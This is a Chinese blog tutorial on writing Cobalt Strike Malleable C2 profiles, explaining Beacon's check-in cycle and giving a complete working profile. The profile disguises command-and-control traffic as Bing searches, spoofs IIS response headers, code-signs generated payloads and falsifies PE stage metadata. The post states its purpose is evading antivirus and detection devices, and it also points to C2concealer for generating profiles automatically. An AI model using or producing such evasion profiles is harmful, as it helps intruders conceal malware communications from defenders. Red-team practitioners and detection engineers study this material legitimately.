Malleable-C2-Profiles配置

admin 2020年9月2日15:10:51评论283 views字数 10252阅读34分10秒阅读模式

关于Malleable-C2-Profiles:

在日常的渗透测试工作中,我们需要做很多的规避操作,因为我们所使用的C2工具等,可能早已被AV等防护软件所标记,所以我们需要订制我们的攻击工具。而这就引出了我们的今天的重点Malleable C2 Malleable C2 Cobalt Strike 的一项功能, 意为 "可定制的" C2 服务器. Malleable C2 允许我们仅通过一个简单的配置文件来改变 Beacon C2 通信时的流量特征与行为。

 

调用方法为:

./teamserver [external IP] 
		
输入密码查看隐藏内容

 [/path/to/my.profile]

官方链接地址为https://www.cobaltstrike.com/help-malleable-c2

 

测试方法为:

./c2lint [/path/to/my.profile]

本文只会对其中的技术点进行总结、说明,不会太关注于每一个参数的含义,因为那毕竟是wiki需要做的事。


目标选择:

关于profiletarget选择,自然而然选择可信度的高的目标,比如360bing、微软等等,这个根据个人需要选择即可。合法流量的捕获可使用wireshark或者burpsuite,关于这这两个工具的区别、使用不再赘述。

 

创建profile:

一般基本的profile一般包括以下基本部分:

 

  •  公共配置

  •  https证书(可选)

  •  http-get

        client

                 metadata

           server

                 output

  •  http-post

            client

                 id

                 output

            server

                 output

  •  http-stager

Malleable C2 , 语句可分为数据转换语句, 终止语句, 额外语句 (Header and Parameter) 三种类型.

数据转换语句有

 base64 base64url mask netbios netbiosu prepend append.

终止语句有

 print uri-append header parameter.

额外语句有

 header parameter.

在学习这些之前,我们可以先来简单了解一下CobaltStrike的通信过程(Beacon)

Malleable-C2-Profiles配置

Beacon 被执行后, 会在 C2 上下载载荷执行, Stage 过程, Stageless 则省去了这一步.

 

之后, Beacon 根据设置的睡眠时间进入睡眠状态, 结束后向 C2 发送有关 Beacon 的信息如系统类型, 版本, 当前用户, 称之为 Metadata.

 

如果存在待执行的任务, C2 就会响应发送 Metadata 的请求, Beacon 将会收到有关 Task 的具体内容和唯一的 Task ID, 并依次执行任务.

 

执行完毕后, Beacon 将各 Task 回显的数据与对应的 Task ID 依次上传至 C2, 然后再次进入睡眠状态.

 

其中 Beacon 发送 Metadata 时一般使用 GET, 上传回显数据时使用 POST.

 

注:在3.6版本之后,可以将HTTP verbPOST改为GET

 

下面我们开始编写profiles,关注profiles的编写有下面几个通用的点,可以防止错误。

 

 引用参数时使用双引号,不要使用单引号

 允许使用分号

 注意反斜线、引号转义

 特殊符号无须转义(!@#$%^&*())

 

首先编写公共部分,每部分进行一些讲解:

 

注:[]表示选项、<>表示提供的值

 

配置文件名称

Malleable-C2-Profiles配置

随便设置一个名字即可。

 

sleepjitter设置

Malleable-C2-Profiles配置

这两个选项用来设置休眠和抖动的值。其中sleep为回调时间以毫秒为单位,jitter为抖动值,为百分比,接收0-99的值,设置正确的sleepjitter可以使我们的流量更好的绕过一些检测设备,并且与正常流量融合在一起。


host_stageuseragent设置

Malleable-C2-Profiles配置

host_stage设置是否分段载荷、useragent设置访问的ua信息。


设置SSL证书、代码签名证书


关于SSL证书,之前已经有很多文章曾经写过了,keytools生成即可,然后配置https-certificatehttps-certificate这两个选项即可。

Malleable-C2-Profiles配置


代码证书:在CS生成exedll时有一个sign选项,默认不可选,如下图这样:

Malleable-C2-Profiles配置


此时需要配置code-signer参数,

Malleable-C2-Profiles配置


配置后,使用c2init测试,发现下面的提示,则说明成功

Malleable-C2-Profiles配置


此时启动CobaltStrike生产载荷,发现已经可以进行签名操作。

Malleable-C2-Profiles配置


响应头设置

Malleable-C2-Profiles配置


通过设置http-config来设置响应内容。若需要重定向,则将trust_x_forwarded_for设置为true

 

设置自定义命名管道与TCP端口

Malleable-C2-Profiles配置

流量特征

语法如下:

http-get {
client {
metadata {
}
}
server {
output {
} }}

http-post {
client {
id {
}
output {
} }
server {
output {
} }}

http-stager {
client {
}
server {
output {
} }}

待码块按 HTTP 请求分为 http-get http-post 两种, 以及被单独列出来的 http-stager 用于 stage 过程.按照对象分为 client server, 按照不同的通信步骤分为 metadata id output. Beacon 在上传 Task 数据时是需要对应的 Task ID 的, id 块正好是针对 Task ID 的修改, output 块则是修改通过 POST 发送的数据, 而 server 中的 output 块仅仅是用于修改响应内容的。

 

此时要注意的是,刚才所说的终止语句只能放在metadata id output , 不能直接放在 client server , 而且终止语句的后面不能有其它语句, 也就是说只能放在代码块末尾.print uri-append 无须指定参数, 后两者的格式为 header "Cookie" parameter "action", 即存放位置为 Cookie 字段和 action 参数。

如:

metadata {base64;prepend "token=";header "Cookie";}

则最后效果为:

Cookie: token=BASE64_ENC_DATA

除此之外还有下面的四种,可根据需要选择。

#base64nqveOtUC+NlNAyHPVkSLMA==
#base64urlhf2D_5jHAA9ftoOe_ZY3zQ
#netbioshaklhhicanfeldpmgkefkhgjmhccgbmp
#netbiosu HHHHGLGDJDELLEKFMDKAANJCLHIEFEMC

除此之外还有prepend append 混用.等这里不再赘述。最后效果:

Malleable-C2-Profiles配置


HTTP-Stager

Malleable-C2-Profiles配置


设置派生过程。

各类规避设置

Malleable-C2-Profiles配置


这个部分不做过多讲解,另外可使用process-inject设置进程注入时的细节。

 

至此一个简单的profile便编写完成了。

# CobaltStrike 4.0+ Test Profile## References:#   * https://www.cobaltstrike.com/help-malleable-c2#   * https://www.cobaltstrike.com/help-malleable-postex## Author: lengyi@HongHuLab# Github: https://github.com/lengjibo#### Global Option Blockset sample_name "lengyi.profile";  # Profile name
set sleeptime "30000"; # Sleep time for the beacon callback# set sleeptime "<60000>"; # 1 Minute# set sleeptime "<70000>"; # set sleeptime "<80000>";
set jitter "50"; # Jitter to set %. In this example, the beacon will callback between 15 and 30 sec jitter
set dns_idle "8.8.4.4";set dns_sleep "0";set maxdns "235";
set host_stage "true"; # Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.set useragent "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 7.0; InfoPath.3; .NET CLR 3.1.40767; Trident/6.0; en-IN)"; # User-Agent
### Self-Signed Certificate HTTPS
https-certificate { set CN "us"; set O "us"; set C "us"; set L "us"; set OU "us"; set ST "us"; set validity "365";}
### Valid SSL Certificate HTTPS
https-certificate { set keystore "zzhsec.store"; set password "lengyi";}
### Code Signing Certificate
code-signer { set keystore "keystore.jks"; set password "123456"; set alias "server";}
### HTTP/S Global Response Header
http-config { set headers "Server, Content-Type, Cache-Control, Connection, X-Powered-By"; # HTTP header header "Server" "Microsoft-IIS/8.0"; header "Content-Type" "text/html;charset=UTF-8"; header "Cache-Control" "max-age=1"; header "Connection" "keep-alive"; header "X-Powered-By" "ASP.NET"; set trust_x_forwarded_for "false"; # "true" if the team server is behind an HTTP redirector}
### SMB Beacon
set pipename "win_svc"; set pipename_stager "win_svc";
### TCP Beacon
set tcp_port "1337"; # TCP beacon listen port
### HTTP-GET
http-get {
set uri "/search/";
client {
header "Host" "www.bing.com"; header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG";
metadata { base64url; parameter "q"; }
parameter "go" "Search"; parameter "qs" "bs"; parameter "form" "QBRE";

}
server {
header "Cache-Control" "private, max-age=0"; header "Content-Type" "text/html; charset=utf-8"; header "Vary" "Accept-Encoding"; header "Server" "Microsoft-IIS/8.5"; header "Connection" "close";

output { netbios; prepend "<!DOCTYPE html><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:Web="http://schemas.live.com/Web/"><script type="text/javascript">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content="text/html; charset=utf-8" http-equiv="content-type" /><link href="/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE" rel="alternate" title="XML" type="text/xml" /><link href="/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE" rel="alternate" title="RSS" type="application/rss+xml" /><link href="/sa/simg/bing_p_rr_teal_min.ico" rel="shortcut icon" /><script type="text/javascript">//<![CDATA["; append "G={ST:(si_ST?si_ST:new Date),Mkt:"en-US",RTL:false,Ver:"53",IG:"4C1158CCBAFC4896AD78ED0FF0F4A1B2",EventID:"E37FA2E804B54C71B3E275E9589590F8",MN:"SERP",V:"web",P:"SERP",DA:"CO4",SUIH:"OBJhNcrOC72Z3mr21coFQw",gpUrl:"/fd/ls/GLinkPing.aspx?" }; _G.lsUrl="/fd/ls/l?IG="+_G.IG ;curUrl="http://www.bing.com/search";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+"IG="+_G.IG+"&"+a;}return true;};//]]></script><style type="text/css">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,"; print; } }}
### HTTP-POST
http-post {
set uri "/Search/"; set verb "GET";
client {
header "Host" "www.bing.com"; header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG";
output { base64url; parameter "q"; }
parameter "go" "Search"; parameter "qs" "bs";
id { base64url; parameter "form"; } }
server {
header "Cache-Control" "private, max-age=0"; header "Content-Type" "text/html; charset=utf-8"; header "Vary" "Accept-Encoding"; header "Server" "Microsoft-IIS/8.5"; header "Connection" "close";

output { netbios; prepend "<!DOCTYPE html><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:Web="http://schemas.live.com/Web/"><script type="text/javascript">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content="text/html; charset=utf-8" http-equiv="content-type" /><link href="/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE" rel="alternate" title="XML" type="text/xml" /><link href="/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE" rel="alternate" title="RSS" type="application/rss+xml" /><link href="/sa/simg/bing_p_rr_teal_min.ico" rel="shortcut icon" /><script type="text/javascript">//<![CDATA["; append "G={ST:(si_ST?si_ST:new Date),Mkt:"en-US",RTL:false,Ver:"53",IG:"4C1158CCBAFC4896AD78ED0FF0F4A1B2",EventID:"E37FA2E804B54C71B3E275E9589590F8",MN:"SERP",V:"web",P:"SERP",DA:"CO4",SUIH:"OBJhNcrOC72Z3mr21coFQw",gpUrl:"/fd/ls/GLinkPing.aspx?" }; _G.lsUrl="/fd/ls/l?IG="+_G.IG ;curUrl="http://www.bing.com/search";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+"IG="+_G.IG+"&"+a;}return true;};//]]></script><style type="text/css">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,"; print; } }}
### HTTP-stager
http-stager { server { header "Cache-Control" "private, max-age=0"; header "Content-Type" "text/html; charset=utf-8"; header "Vary" "Accept-Encoding"; header "Server" "Microsoft-IIS/8.5"; header "Connection" "close"; }}
### Stage
stage { set checksum "0"; set compile_time "12 Jun 2020 11:22:23"; set image_size_x86 "559966"; set image_size_x64 "559966"; set entry_point "38807"; set rich_header "xcdx11x8fxf8x89x70xe1xabx89x70xe1xabx89x70xe1xabx3dxecx10xabx9cx70xe1xabx3dxecx12xabx0ax70xe1xabx3dxecx13xabx90x70xe1xabxeax2dxe2xaax9bx70xe1xabxeax2dxe4xaaxaex70xe1xabxeax2dxe5xaax9bx70xe1xabx80x08x72xabx82x70xe1xabx89x70xe0xabx03x70xe1xabxe7x2dxe4xaax80x70xe1xabxe7x2dx1exabx88x70xe1xabx89x70x76xabx88x70xe1xabxe7x2dxe3xaax88x70xe1xabx52x69x63x68x89x70xe1xabx00x00x00x00x00x00x00x00";}
### Post-Exploitation
post-ex { set amsi_disable "false"; # Disable AMSI }

测试通过

Malleable-C2-Profiles配置


测试

测试步骤

 启动wireshark

 使用测试配置文件启动teamserver

 创建HTTP监听器(名为http)

 创建SMB监听器(名为smb)

 

然后进行操作,看是否符合要求。

Malleable-C2-Profiles配置



自动化

使用C2concealer自动化生成。用法如下:

 C2concealer --hostname google.com --variant 3

Malleable-C2-Profiles配置

参考文章:

https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/

https://www.zzhsec.com/544.html

https://www.cobaltstrike.com/help-malleable-c2

https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/

https://xz.aliyun.com/t/2796

https://github.com/bigb0sss/RedTeam/blob/master/CobaltStrike/malleable_C2_profile/CS4.0_guideline.profile

https://fortynorthsecurity.com/blog/introducing-c2concealer/

https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b

https://medium.com/bugbountywriteup/red-team-cobalt-strike-4-0-malleable-c2-profile-guideline-eb3eeb219a7c

https://github.com/threatexpress/malleable-c2/blob/master/jquery-c2.3.14.profile

https://exp10it.cn//posts/69

https://www.cobaltstrike.com/help-malleable-postex


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年9月2日15:10:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Malleable-C2-Profiles配置http://cn-sec.com/archives/115283.html

发表评论

匿名网友 填写信息